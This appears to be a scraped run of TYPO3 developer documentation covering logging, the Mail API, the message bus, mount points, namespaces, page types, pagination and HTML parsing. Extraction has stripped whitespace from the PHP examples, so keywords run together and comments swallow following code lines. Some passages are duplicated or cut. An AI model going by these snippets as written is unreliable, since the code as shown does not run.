Type
\TYPO3\CMS\Core\Log\Writer\Enum\Interval , string
Mandatory
no
Default
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::DAILY
The interval defines how often logs should be rotated. Use one of the
following options:
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::DAILY or
daily
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::WEEKLY or
weekly
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::MONTHLY or
monthly
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::YEARLY or
yearly
maxFiles
maxFiles
Type
integer
Mandatory
non
Default
5
This option configured how many files should be retained (use
0 to
never delete any file).
Note
When configuring the
RotatingFileWriter in
system/settings.php, the string representations of the
Interval cases must be used for the option
interval option,
as otherwise this might break the Install Tool.
The following example introduces log rotation for the "main" log file:
Please keep in mind that TYPO3 will silently continue operating, in case a log
writer is throwing an exception while executing the
writeLog() method.
Only in the case that all registered writers fail, the log entry with additional
information will be added to the configured fallback logger (which defaults to
the PhpErrorLog writer).
Usage in a custom class
All log writers can be used in your own classes. If the service is configured to
use autowiring you can inject a logger into the
__construct() method of
your class
\MyVendor\MyExtension\MyFolder\MyClass) since TYPO3 v11 LTS.
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension;
usePsr\Log\LoggerInterface;
finalclassMyClass{
publicfunction__construct(
private readonly LoggerInterface $logger,
){}
publicfunctiondoSomething(){
$this->logger->info('My class is executed.');
$error = false;
// ... something is done ...if ($error) {
$this->logger->error('Error in class MyClass');
}
}
}
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If autowiring is disabled, the service class however must implement the
interface
\Psr\Log\LoggerAwareInterface and use the
\Psr\Log\LoggerAwareTrait .
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension;
usePsr\Log\LoggerAwareInterface;
usePsr\Log\LoggerAwareTrait;
finalclassMyClassimplementsLoggerAwareInterface{
useLoggerAwareTrait;
publicfunctiondoSomething(){
$this->logger->info('My class is executed.');
$error = false;
// ... something is done ...if ($error) {
$this->logger->error('Error in class MyClass');
}
}
}
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One or more log writers for this class are configured in the file
ext_localconf.php:
EXT:my_extension/ext_localconf.php
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Core\Environment;
useTYPO3\CMS\Core\Log\LogLevel;
useTYPO3\CMS\Core\Log\Writer\FileWriter;
defined('TYPO3') ordie();
// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['MyVendor']['MyExtension']['MyClass']['writerConfiguration'] = [
// Configuration for ERROR level log entries
LogLevel::ERROR => [
// Add a FileWriter
FileWriter::class => [
// Configuration for the writer'logFile' => Environment::getVarPath() . '/log/my_extension.log',
],
],
];
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Examples
Working examples of the usage of different Log writers can be found in the
extension
t3docs/examples
.
Log processors
The purpose of a log processor is (usually) to modify a
log record or add more detailed information to it.
Log processors allow you to manipulate log records without changing the code
that actually calls the log method (inversion of control). This enables you to
add any information from outside the scope of the actual calling function, such
as webserver environment variables. The TYPO3 Core ships with some basic log
processors, but more can be added with extensions.
This section describes the log processors that are shipped with the TYPO3 Core.
Some processors have options to allow the customization of the particular
processor. See the Configuration
section for how to use these options.
IntrospectionProcessor
The introspection processor adds backtrace data about where the log event was
triggered.
By default, the following parameters from the original function call are added:
file
The absolute path to the file.
line
The line number.
class
The class name.
function
The function name.
Options
appendFullBackTrace
appendFullBackTrace
Mandatory
no
Default
false
Adds a full backtrace stack to the log.
shiftBackTraceLevel
shiftBackTraceLevel
Mandatory
no
Default
0
Removes the given number of entries from the top of the backtrace stack.
MemoryUsageProcessor
The memory usage processor adds the amount of used memory to the log record
(result from memory_get_usage()).
Options
realMemoryUsage
realMemoryUsage
Mandatory
no
Default
true
Use the real size of memory
allocated from system instead of
emalloc() value.
formatSize
formatSize
Mandatory
no
Default
true
Whether the size is formatted with
GeneralUtility::formatSize().
Use the real size of memory
allocated from system instead of
emalloc() value.
formatSize
formatSize
Mandatory
no
Default
true
Whether the size is formatted with
GeneralUtility::formatSize().
WebProcessor
The web processor adds selected webserver environment variables to the log record,
that means, all possible values from
\TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv('_ARRAY').
Please keep in mind that TYPO3 will silently continue operating,
in case a log processor is throwing an exception while executing
the
processLogRecord() method.
Mail API
TYPO3 provides a RFC-compliant mailing solution based on
symfony/mailer
for sending emails and
symfony/mime
for creating email messages.
TYPO3’s backend functionality already ships with a default layout for templated emails,
which can be tested out in TYPO3’s install tool test email functionality.
Several settings are available via Admin Tools > Settings > Configure
Installation-Wide Options > Mail which are stored into
$GLOBALS['TYPO3_CONF_VARS']['MAIL'] . See MAIL settings for
an overview of all settings.
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format'] can be both, plain or
html. This option can be overridden in the project's
config/system/settings.php or config/system/additional.php files.
Fluid paths
All Fluid-based template paths can be configured via
<f:layoutname="SystemEmail" /><f:sectionname="Subject">
My Custom Subject
</f:section><f:sectionname="Main">
Hello, this is a custom email template!
</f:section>
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transport
The most important configuration option for sending emails is
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] , which can take the
following values:
Sends messages over SMTP. It can deal with encryption and authentication.
Works exactly the same on Windows, Unix and MacOS. Requires a mail server
and the following additional settings:
Determines whether the transport protocol should be encrypted. Requires
OpenSSL library. Defaults to
false.
If
false, symfony/mailer will use STARTTLS.
Depending on the configuration of the server and the TYPO3 instance, it
may not be possible to send emails to BCC recipients. The configuration
of the
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command']
value is crucial.
TYPO3 recommends the parameter
-bs (instead of
-t -i). The
parameter
-bs tells TYPO3 to use the SMTP standard and that way
the BCC recipients are properly set.
Symfony
refers to the problem of using the
-t parameter as well. Since
forge#65791 the
transport_sendmail_command is automatically
set from the PHP runtime configuration and saved. Thus, if you have
problems with sending emails to BCC recipients, check the above
mentioned configuration.
This doesn't send any email out, but instead will write every outgoing email
to a file adhering to the RFC 4155 mbox format, which is a simple text
file where the emails are concatenated. Useful for debugging the email
sending process and on development machines which cannot send emails to the
outside. The file to write to is defined by:
Custom class which implements
\Symfony\Component\Mailer\Transport\TransportInterface.
The constructor receives all settings from the MAIL section to make it
possible to add custom settings.
Validators
Using additional validators can help to identify if a provided email address
is valid or not. By default, the validator
\Egulias\EmailValidator\Validation\RFCValidation is used. The following
validators are available:
The default behavior of the TYPO3 mailer is to send the email messages
immediately. However, you may want to avoid the performance hit of the
communication to the email server, which could cause the user to wait for the
next page to load while the email is being sent. This can be avoided by choosing
to "spool" the emails instead of sending them directly.
When you use spooling to store the emails to memory, they will get sent right
before the kernel terminates. This means the email only gets sent if the whole
request got executed without any unhandled exception or any errors.
When using the filesystem for spooling, you need to define in which folder TYPO3
stores the spooled files. This folder will contain files for each email in the
spool. So make sure this directory is writable by TYPO3 and not accessible to
the world (outside of the webroot).
Additional notes about the mail spool path:
If the path is absolute, the path must either start with the root path of
the TYPO3 project or the public web folder path
If the path is relative, the public web path is prepended to the path
The path must not contain symlinks (important for environments with auto
deployment)
The path must not contain //, .. or \
Sending spooled mails
To send the spooled emails you need to run the following CLI command:
vendor/bin/typo3 mailer:spool:send
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typo3/sysext/core/bin/typo3 mailer:spool:send
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This command can be set up to be run periodically using the
TYPO3 Scheduler.
How to create and send emails
There are two ways to send emails in TYPO3 based on the Symfony API:
Without Fluid, using
\TYPO3\CMS\Core\Mail\MailMessage
\TYPO3\CMS\Core\Mail\MailMessage and
\TYPO3\CMS\Core\Mail\FluidEmail
inherit from
\Symfony\Component\Mime\Email and have a similar API.
FluidEmail is specific for sending emails based on Fluid.
Either method can be used to send emails with HTML content, text content or both
(HTML and text).
Send email with FluidEmail
This sends an email using a Fluid template TipsAndTricks.html, make
sure the paths are setup as described in Fluid paths:
useSymfony\Component\Mime\Address;
useTYPO3\CMS\Core\Mail\FluidEmail;
useTYPO3\CMS\Core\Mail\MailerInterface;
$email = new FluidEmail();
$email
->to('contact@example.org')
->from(new Address('jeremy@example.org', 'Jeremy'))
->subject('TYPO3 loves you - here is why')
->format(FluidEmail::FORMAT_BOTH) // send HTML and plaintext mail
->setTemplate('TipsAndTricks')
->assign('mySecretIngredient', 'Tomato and TypoScript');
GeneralUtility::makeInstance(MailerInterface::class)->send($email);
A file TipsAndTricks.html must exist in one of the paths defined in
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths'] for sending the
HTML content. For sending plaintext content, a file TipsAndTricks.txt
should exist.
Defining a custom email subject in a custom Fluid template:
<f:sectionname="Subject">New Login at "{typo3.sitename}"</f:section>
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Building templated emails with Fluid also allows to define the language key,
and use this within the Fluid template:
$email = new FluidEmail();
$email
->to('contact@example.org')
->assign('language', 'de');
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In Fluid, you can now use the defined language key ("language"):
In order to use ViewHelpers that need a valid current request, such as Uri.page ViewHelper <f:uri.page>,
pass the current request to the FluidEmail instance:
useTYPO3\CMS\Core\Mail\FluidEmail;
$email = new FluidEmail();
$email->setRequest($this->request);
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Read more aboout Getting the PSR-7 request object in different
contexts. In a context where no valid request object can be retrieved, such as in a
Console command the affected ViewHelpers cannot be used.
Trying to use these ViewHelpers without a valid request throws an error
like the following:
Example error output
[ERROR] The rendering context of ViewHelper f:link.page is missing a valid request object.
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Send email with MailMessage
MailMessage can be used to generate and send an email without using
Fluid:
useSymfony\Component\Mime\Address;
useTYPO3\CMS\Core\Mail\MailMessage;
useTYPO3\CMS\Core\Utility\GeneralUtility;
// Create the message
$mail = GeneralUtility::makeInstance(MailMessage::class);
// Prepare and send the message
$mail
// Defining the "From" email address and name as an object// (email clients will display the name)
->from(new Address('john.doe@example.org', 'John Doe'))
// Set the "To" addresses
->to(
new Address('receiver@example.org', 'Max Mustermann'),
new Address('other@example.org')
)
// Give the message a subject
->subject('Your subject')
// Give it the text message
->text('Here is the message itself')
// And optionally an HTML message
->html('<p>Here is the message itself</p>')
// Optionally add any attachments
->attachFromPath('/path/to/my-document.pdf')
// And finally send it
->send()
;
useSymfony\Component\Mime\Address;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Core\Mail\MailMessage;
$mail = GeneralUtility::makeInstance(MailMessage::class);
$mail->from(new Address('john.doe@example.org', 'John Doe'));
$mail->to(
new Address('receiver@example.org', 'Max Mustermann'),
new Address('other@example.org')
);
$mail->subject('Your subject');
$mail->text('Here is the message itself');
$mail->html('<p>Here is the message itself</p>');
$mail->attachFromPath('/path/to/my-document.pdf');
$mail->send();
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Note
Before TYPO3 v10 the
MailMessage class only had methods like
->setTo(),
setFrom(),
->setSubject() etc.
Now the class inherits from
\Symfony\Component\Mime\Email which
provides the methods from the example. To make migration from older TYPO3
versions easier the previous methods still exist. The use of
MailMessage in own extensions is recommended.
// Attach file to message
$mail->attachFromPath('/path/to/documents/privacy.pdf');
// Optionally you can tell email clients to display a custom name for the file
$mail->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy');
// Alternatively attach contents from a stream
$mail->attach(fopen('/path/to/documents/contract.doc', 'r'));
// Get the image contents from a PHP resource
$mail->embed(fopen('/path/to/images/logo.png', 'r'), 'logo');
// Get the image contents from an existing file
$mail->embedFromPath('/path/to/images/signature.png', 'footer-signature');
// reference images using the syntax 'cid:' + "image embed name"
$mail->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...');
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How to set and use a default sender
It is possible to define a default email sender ("From:") in
Admin Tools > Settings > Configure Installation-Wide Options:
useTYPO3\CMS\Core\Mail\MailMessage;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Core\Utility\MailUtility;
$from = MailUtility::getSystemFrom();
$email = new MailMessage();
// As getSystemFrom() returns an array we need to use the setFrom method
$email->setFrom($from);
// ...
$email->send();
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In case of the problem "Mails are not sent" in your extension, try to set a
ReturnPath:. Start as before but add:
useTYPO3\CMS\Core\Utility\MailUtility;
// You will get a valid email address from 'defaultMailFromAddress' or if// not set from PHP settings or from system.// If result is not a valid email address, the final result will be// no-reply@example.org.
$returnPath = MailUtility::getSystemFromAddress();
if ($returnPath != "no-reply@example.org") {
$mail->setReturnPath($returnPath);
}
$mail->send();
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Register a custom mailer
To be able to use a custom mailer implementation in TYPO3, the interface
\TYPO3\CMS\Core\Mail\MailerInterface is available, which extends
\Symfony\Component\Mailer\MailerInterface. By default,
\TYPO3\CMS\Core\Mail\Mailer is registered as implementation.
After implementing your custom mailer, add the following lines into the
Configuration/Services.yaml file to ensure that your custom
mailer is used.
TYPO3 provides a message bus solution based on symfony/messenger. It has the
ability to send messages and then handle them immediately (synchronous) or
send them through transports (asynchronous, for example, queues) to be handled
later.
For backwards compatibility, the default implementation uses the synchronous
transport. This means that the message bus will behave exactly as before, but it
will be possible to switch to a different (asynchronous) transport on a
per-project base.
To offer asynchronicity, TYPO3 also provides a transport implementation based on
the Doctrine DBAL messenger transport from Symfony and a basic implementation
of a consumer command.
See also
To familiarize yourself with the concept, please also read the following
resources:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Queue\Handler;
useMyVendor\MyExtension\Queue\Message\DemoMessage;
useSymfony\Component\Messenger\Attribute\AsMessageHandler;
#[AsMessageHandler]finalclassDemoHandler{
publicfunction__invoke(DemoMessage $message): void{
// do something with $message
}
}
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If your extension needs to be compatible with TYPO3 v13 and v12, use a tag
to register the handler. A Services.yaml entry is also needed to use
before/
after to define an order.
EXT:my_extension/Configuration/Services.yaml
MyVendor\MyExtension\Queue\Handler\DemoHandler:tags:-name:'messenger.message_handler'# Define another handler which should be called before DemoHandler:MyVendor\MyExtension\Queue\Handler\DemoHandler2:tags:-name:'messenger.message_handler'before:'MyVendor\MyExtension\Queue\Handler\DemoHandler'
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"Everyday" usage - as a system administrator/integrator
By default, TYPO3 will behave like in versions before TYPO3 v12. This means that
the message bus will use the synchronous transport and all messages will be
handled immediately. To benefit from the message bus, it is recommended to
switch to an asynchronous transport. Using asynchronous transports increases the
resilience of the system by decoupling external dependencies even further.
Currently, the TYPO3 Core provides an asynchronous transport based on the
Doctrine DBAL messenger transport. This transport is configured to use the
default TYPO3 database connection. It is pre-configured and can be used by
changing the settings:
The command is a slimmed-down wrapper for the Symfony command
messenger:consume, it only provides the basic consumption functionality. As
this command is running as a worker, it is stopped after 1 hour to avoid memory
leaks. Therefore, the command should be run from a service manager like
systemd to restart automatically after the command exits due to the time
limit.
The following code provides an example for a service. Create the following
file on your server:
[Unit]Description=Run the TYPO3 message consumer
Requires=mariadb.service
After=mariadb.service
[Service]Type=simple
User=www-data
Group=www-data
ExecStart=/usr/bin/php8.1 /var/www/myproject/vendor/bin/typo3 messenger:consume doctrine --exit-code-on-limit 133# Generally restart on errorRestart=on-failure
# Restart on exit code 133 (which is returned by the command when limits are reached)RestartForceExitStatus=133# ..but do not interpret exit code 133 as an error (as it's just a restart request)SuccessExitStatus=133[Install]WantedBy=multi-user.target
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Advanced usage
Configure a custom transport (Senders/Receivers)
Transports are configured in the services configuration. To allow the
configuration of a transport per message, the TYPO3 configuration
(settings.php, additional.php on system level, or
ext_localconf.php in an extension) is utilized. The transport/sender
name used in the settings is resolved to a service that has been tagged with
message.sender and the respective identifier.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger'] = [
'routing' => [
// Use "messenger.transport.demo" as transport for DemoMessage
\MyVendor\MyExtension\Queue\Message\DemoMessage::class => 'demo',
// Use "messenger.transport.default" as transport for all other messages'*' => 'default',
]
];
The middleware is set up in the services configuration. By default, the
\Symfony\Component\Messenger\Middleware\SendMessageMiddleware and the
\Symfony\Component\Messenger\Middleware\HandleMessageMiddleware are
registered. See also the Custom middleware section in the Symfony
documentation.
To add your own middleware, tag it as
messenger.middleware and set the
order using TYPO3's
before and
after ordering mechanism:
Mount points allow TYPO3 editors to mount a page (and its subpages) from a different
area in the current page tree.
The definitions are as follows:
Mount Point: A page with doktype set to 7 - a page pointing to a different page
("web mount") that should act as a replacement for this page and possible descendants.
Mounted Page, a.k.a. "Mount Target": A regular page containing content and subpages.
The idea behind it is to manage content only once and "link" / "mount" to a tree
to be used multiple times - while keeping the website visitor under the impression
to navigate just a regular subpage. There are concerns regarding SEO for having duplicate content,
but TYPO3 can be used for more than just simple websites, as mount points are an important tool
for massive multi-site installations or Intranet/Extranet installations.
A mount point has the option to either display the content of the mount point
itself or the content of the target page when visiting this page.
Due to TYPO3's principles of slug handling where a page contains one single slug
containing the whole URL path of that page, TYPO3 will combine the slug of the
mount point and a smaller part of the Mounted Page or subpages of the Mounted Page,
which will be added to the URL string.
Mounted subpages don't have a representation of their own in the
page tree, meaning they cannot be linked directly. However, the TYPO3 menu
generation will take mount points into account and generate subpage links
accordingly.
Note
Technical Background:
Linking to a subpage will result in adding "MP" GET Parameters and altering the root
line (tree structure) of the website, as the "MP" is containing the context.
The MP parameter found throughout the TYPO3 Core includes the ID of the Mounted Page and
the mount point ID - e.g. "13-23," whereas 13 would be the Mounted Page and 23
the mount point (doktype set to 7).
Recursive mount points are added to the "MP" parameter with ",", like "13-23,84-26".
Recursive mount points are defined as follows: A Mounted Page has a subpage
which in turn has another subpage, which is again a mount point. (Nested mount points.)
Simple usage example
Consider this setup:
example page tree
page tree
====== ====================
1 Root
2 ├── Basic Mount Point <- mount point, mounting page 3
3 └── Company <- mounted by page 2
4 └── About us
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Let's assume the mount point page two is configured like this:
Data in the mount point
Title : Basic Mount Point
URL segment : basic-mountpoint
Target page : Company
Display option: "Show the mounted page" (subpages included)
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The result will be:
company
https://example.org/company/
This is just the normal page 3 showing its content.
basic-mountpoint
https://example.org/basic-mountpoint/
This is the mount point page 2 showing the content of page 3.
about-us
https://example.org/basic-mountpoint/about-us
https://example.org/company/about-us
Both URLs will show the same content, namely that of page 4.
Multi-site support
Mount points generally support cross-site mounts. The context for cross-domain
sites is kept, ensuring that the user will never notice that content might be coming
from a completely different site or pagetree within TYPO3.
Creating links for multi-site mount points works the same way as in a
same site setup.
Situation:
example page tree
Page Tree
====== ====================
1 Site 1: example.org
2 └── Company <- mounted by page 5
3 └── About us
4 Site 2: company.example.org
5 └── Cross site mount <- mount point page that is mounting page 2
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Configuration of mount point page 5:
Data in the mount point
Title : Cross site mount
URL segment : cross-site-mount
Target page : Company
Display option: "Show the mounted page" (subpages included)
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This will be the result:
company
https://example.org/company
https://company.example.org/cross-site-mount/
Both pages are rendered from the same content. They may appear visually
different though if the sites use different styles.
Same here: Both pages are rendered from the same content. They may appear
visually different though if the sites use different styles.
Limitations
Multi-language support
Please be aware that multi-language setups are generally supported, but this
only works if both sites use the same language IDs (for example, you cannot
combine a site with a configured language ID 13 with a site using only ID 1).
Slug uniqueness when using Multi-Site setups cannot be ensured
If a Mount Point Page has the slug "/more", mounting a page with "/imprint" subpage,
but the Mount Point Page has a regular sibling page with "/more/imprint" a collision cannot
be detected. In contrast, the non-mounted page would always work, and a subpage of a
Mounted Page would never be reached.:
example page tree
Page Tree
====== ====================
1 Site 1: example.org
2 └── More <- mounted by page 5
3 └── Imprint <- page will never be reached via Site 2
4 Site 2: company.example.org
5 └── More <- mount point page that is mounting page 2
6 └── Imprint <- slug manually configured to `more/imprint/`
For the Core, the vendor name is
\TYPO3\CMS and the package name corresponds
to a system extension.
All classes must be located inside the Classes folder at the root of the
(system) extension. The category name may contain several segments that correspond
to the path inside the Classes folder.
Finally the class name is the same as the corresponding file name, without the
.php extension.
"UpperCamelCase" is used for all segments.
Core example
The good old
t3lib_div class has been renamed to:
\TYPO3\CMS\Core\Utility\GeneralUtility
This means that the class is now found in the core system extension, in folder
Classes/Utility, in a file named GeneralUtility.php.
Usage in extensions
Extension developers are free to use their own vendor name. Important: It
may consist of one segment only. Vendor names must start with an
uppercase character and are usually written in UpperCamelCase style.
In order to avoid problems with different filesystems, only
the characters a-z, A-Z, 0-9 and the dash sign "-" are allowed for package
names – don't use special characters:
Examples for vendor names
// correct vendor name for 'web company':
\WebCompany
// wrong vendor name for 'web company':
\Web\Company
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Attention
The vendor name TYPO3\CMS is reserved and may not be used by extensions!
The package name corresponds to the extension key. Underscores in the extension
key are removed in the namespace and replaced by upper camel-case. So extension key:
Do not do this
weird-name_examples
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would become:
Do not do this
Weird-nameExamples
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in the namespace.
As mentioned above, all classes must be located in the Classes folder inside
your extension. All sub-folders translate to a segment of the category name and the class
name is the file name without the .php extension.
As for ordinary classes, namespaces for test classes start with a vendor name
followed by the extension key.
All test classes reside in a Tests folder and thus the third segment
of the namespace must be "Tests". Unit tests are located in a Unit folder
which is the fourth segment of the namespace. Any further subfolders will
be subsequent segments.
So a test class in EXT:foo_bar_baz/Tests/Unit/Bla/ will have as namespace
\MyVendor\FooBarBaz\Tests\Unit\Bla.
Creating Instances
The following example shows how you can create instances by means of
GeneralUtility::makeInstance():
There is no need for
require() or
include() statements. All
classes adhering to namespace conventions will automatically be located and
included by the autoloader.
References
For more information about PHP namespaces in general, you may want to refer to the
PHP documentation and
in particular the Namespaces FAQ.
Page types
TYPO3 organizes content using different page types, each serving a specific
purpose. See also Types of pages.
Each page type serves a different function in TYPO3’s content hierarchy, making
it easier to manage complex websites.
When creating a page, different page types are available at the top of the page tree. The page type can be edited in the page properties for existing pages.
The predefined page types are defined as constants in
\TYPO3\CMS\Core\Domain\Repository\PageRepository .
Additional page types can be registered in the
\TYPO3\CMS\Core\DataHandling\PageDoktypeRegistry , see also
Create new Page Type.
What role each page type plays and when to use it is explained in more
detail in Page types. Some of the page types require
additional fields in pages to be filled out:
DOKTYPE_DEFAULT - ID: 1
Standard
DOKTYPE_LINK - ID: 3
Link to External URL
This type of page creates a redirect to an URL in the frontend.
The URL is specified in the field pages.url.
DOKTYPE_SHORTCUT - ID: 4
Shortcut
This type of page creates a redirect to another page in the frontend.
The shortcut target is specified in the field pages.shortcut,
shortcut mode is stored in pages.shortcut_mode.
DOKTYPE_BE_USER_SECTION - ID: 6
Backend user Section
DOKTYPE_MOUNTPOINT - ID: 7
Mount point
The mounted page is specified in pages.mount_pid,
while display options can be changed with pages.mount_pid_ol.
See MountPoints documentation.
DOKTYPE_SPACER - ID: 199
Menu separator
DOKTYPE_SYSFOLDER - ID: 254
Folder
Changed in version 13.0
The recycler doktype (DOKTYPE_RECYCLER - ID: 255) is removed and cannot be selected or used anymore. Any
existing recycler pages are migrated to a page of type "Backend User Section"
which is also not accessible if there is no valid backend user with permission
to see this page.
X-Redirect-By header for pages with redirect types
Those redirects will send an additional HTTP Header X-Redirect-By, stating what type of page triggered the redirect.
By enabling the global option
$GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation'] the header will also contain the page ID.
As this exposes internal information about the TYPO3 system publicly, it should only be enabled for debugging purposes.
For shortcut and mountpoint pages:
Generated HTTP header
X-Redirect-By: TYPO3 Shortcut/Mountpoint
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 Shortcut/Mountpoint at page with ID 123
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For Links to External URL:
Generated HTTP header
X-Redirect-By: TYPO3 External URL
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 External URL at page with ID 456
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The header X-Redirect-By makes it easier to understand why a redirect happens
when checking URLs, e.g. by using curl:
Using curl to check the HTTP header
curl -I 'https://example.org/examples/pages/link-to-external-url/'
HTTP/1.1 303 See Other
Date: Thu, 17 Sep 2020 17:45:34 GMT
X-Redirect-By: TYPO3 External URL at page with ID 12
X-TYPO3-Parsetime: 0ms
location: https://example.org
Cache-Control: max-age=0
Expires: Thu, 17 Sep 2020 17:45:34 GMT
X-UA-Compatible: IE=edge
Content-Type: text/html; charset=UTF-8
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Create new Page Type
The following example adds a new page type called "Archive".
The new page type visible in the TYPO3 backend
Changes need to be made in several files to create a new page type. Follow
the directions below to the end:
Add new page type to
PageDoktypeRegistry
The new page type has to be added to the
\TYPO3\CMS\Core\DataHandling\PageDoktypeRegistry . TYPO3 uses this
registry internally to only allow specific tables to be inserted on that
page type. This registry will not add or modify any TCA. In example below
all kind of tables (*) are allowed to be inserted on the new page type.
The new page type is added to the
PageDoktypeRegistry in
ext_tables.php:
EXT:examples/ext_tables.php
<?phpuseTYPO3\CMS\Core\DataHandling\PageDoktypeRegistry;
useTYPO3\CMS\Core\Utility\GeneralUtility;
defined('TYPO3') ordie();
// Define a new doktype
$customPageDoktype = 116;
// Add page type to system
$dokTypeRegistry = GeneralUtility::makeInstance(PageDoktypeRegistry::class);
$dokTypeRegistry->add(
$customPageDoktype,
[
'allowedTables' => '*',
],
);
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Add an icon chosen for the new page type
You need to add the icon chosen for the new page type and allow users to
drag and drop the new page type to the page tree.
We need to add the following user TSconfig
to all users, so that the new page type is displayed in the wizard:
It is possible to define additional type icons for special case pages:
Page contains content from another page <doktype>-contentFromPid,
For example:
$GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-contentFromPid'] .
Page is hidden in navigation <doktype>-hideinmenu
For example:
$GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-hideinmenu'] .
Page is the root of the site <doktype>-root
For example:
$GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-root'] .
Note
Make sure to add the additional icons using the Icon API!
Add new page type to doktype selector
We need to modify the configuration of page records. As one can modify the
pages, we need to add the new doktype as a select option and associate it
with the configured icon. That is done in
Configuration/TCA/Overrides/pages.php:
<?php
defined('TYPO3') ordie();
// encapsulate all locally defined variables
(function(){
// SAME as registered in ext_tables.php
$customPageDoktype = 116;
$customIconClass = 'tx-examples-archive-page';
// Add the new doktype to the page type selector
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTcaSelectItem(
'pages',
'doktype',
[
'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:archive_page_type',
'value' => $customPageDoktype,
'icon' => $customIconClass,
'group' => 'special',
],
);
// Add the icon to the icon class configuration
$GLOBALS['TCA']['pages']['ctrl']['typeicon_classes'][$customPageDoktype] = $customIconClass;
})();
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As you can see from the example, to make sure you get the correct icons,
you can utilize
typeicon_classes.
Define your own columns for new page type
By default the new page type will render all columns of default
page type (DEFAULT (1)). If you want to chose your own columns you have
to copy over all columns from default page type:
<?php
defined('TYPO3') ordie();
// encapsulate all locally defined variables
(function(){
// ...code from previous example// Copy over all columns from default page type to allow TCA modifications// with f.e. ExtensionManagementUtility::addToAllTCAtypes()
$GLOBALS['TCA']['pages']['types'][116] = $GLOBALS['TCA']['pages']['types'][1];
})();
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Now you can modify TCA with Core API like
ExtensionManagementUtility::addToAllTCAtypes();
The TYPO3 Core provides an interface to implement the native pagination of lists like arrays or
query results of Extbase.
The foundation of that new interface
\TYPO3\CMS\Core\Pagination\PaginatorInterface is that
it's type agnostic. It means, that it doesn't define the type of paginatable objects. It's up to the
concrete implementations to enable pagination for specific types. The interface only forces you to
reduce the incoming list of items to an
iterable sub set of items.
Along with that interface, an abstract paginator class
\TYPO3\CMS\Core\Pagination\AbstractPaginator
is available that implements the base pagination logic for any kind of
Countable set of
items while it leaves the processing of items to the concrete paginator class.
Two concrete paginators are available:
For type
array:
\TYPO3\CMS\Core\Pagination\ArrayPaginator
For type
\TYPO3\CMS\Extbase\Persistence\QueryResultInterface :
\TYPO3\CMS\Extbase\Pagination\QueryResultPaginator
The sliding window pagination can be used to paginate array items or query
results from Extbase. The main advantage is that it reduces the amount of pages
shown.
Example: Imagine 1000 records and 20 items per page which would lead to
50 links. Using the SlidingWindowPagination, you will get something like
this < prev ... 21 22 23 24 ... next > or < 1 ... 21 22 23 24 ... 50 > or
simple < 21 22 23 24 >. Customise the template to suit your needs.
Usage
Replace the usage of
SimplePagination with
\TYPO3\CMS\Core\Pagination\SlidingWindowPagination and you are done. Set
the 2nd argument to the maximum number of links which should be rendered.
TYPO3 provides its own HTML parsing class:
\TYPO3\CMS\Core\Html\HtmlParser. This chapter
shows some example uses.
Extracting Blocks From an HTML Document
The first example shows how to extract parts of a document.
Consider the following code:
EXT:some_extension/Classes/SomeClass.php
$testHTML = '
<DIV>
<IMG src="welcome.gif">
<p>Line 1</p>
<p>Line <B class="test">2</B></p>
<p>Line <b><i>3</i></p>
<img src="test.gif" />
<BR><br/>
<TABLE>
<tr>
<td>Another line here</td>
</tr>
</TABLE>
</div>
<B>Text outside div tag</B>
<table>
<tr>
<td>Another line here</td>
</tr>
</table>
';
// Splitting HTML into blocks defined by <div> and <table> tags
$parseObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Html\HtmlParser::class);
$result = $parseObj->splitIntoBlock('div,table', $testHTML);
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After loading some dummy HTML code into a variable, we create an instance of
\TYPO3\CMS\Core\Html\HtmlParser and ask it to split the HTML structure
on "div" and "table" tags. A debug output of the result shows the following:
The HTML parsed into several blocks
As you can see the HTML source has been divided so the "div"
section and the "table" section are found in key 1 and 3. Odd key always
correspond to the extracted content and even keys to the content outside
of the extracted parts.
Notice that the table inside of the "div" section was not "found".
When you split content like this you get only elements on the same
block-level in the source. You have to traverse the content
recursively to find all tables - or just split on <table> only (which
will not give you tables nested inside of tables though).
Note also how the HTML parser does not care for case (upper or lower,
all tags were found).
Extracting Single Tags
It is also possible to split by non-block tags, for example "img" and "br":
Again, all the odd keys in the array contain the tags that
were found. Note how the parser handled transparently simple
tags or self-closing tags.
Cleaning HTML Content
The HTML parsing class also provides a tool for manipulating HTML
with the HTMLcleaner() method. The cleanup configuration
is quite extensive. Please refer to the phpDoc comments of the
HTMLcleaner() method for more details.
We first define our cleanup/transformation configuration.
We define that only five tags should be kept ("b", "img", "div",
"br" and "p"). All others are removed (HTMLcleaner()
can be configured to keep all possible tags).
Additionally we indicate that "b" tags should be changed to "strong"
and that correct nesting is required (otherwise the tag is removed).
Also no attributed are allowed on "b" tags.
For "p" tags we indicate that the "attribute" should be added with
value "bodytext".
Lastly - in the call to HTMLcleaner() itself, we request
"xhtml" cleanup.
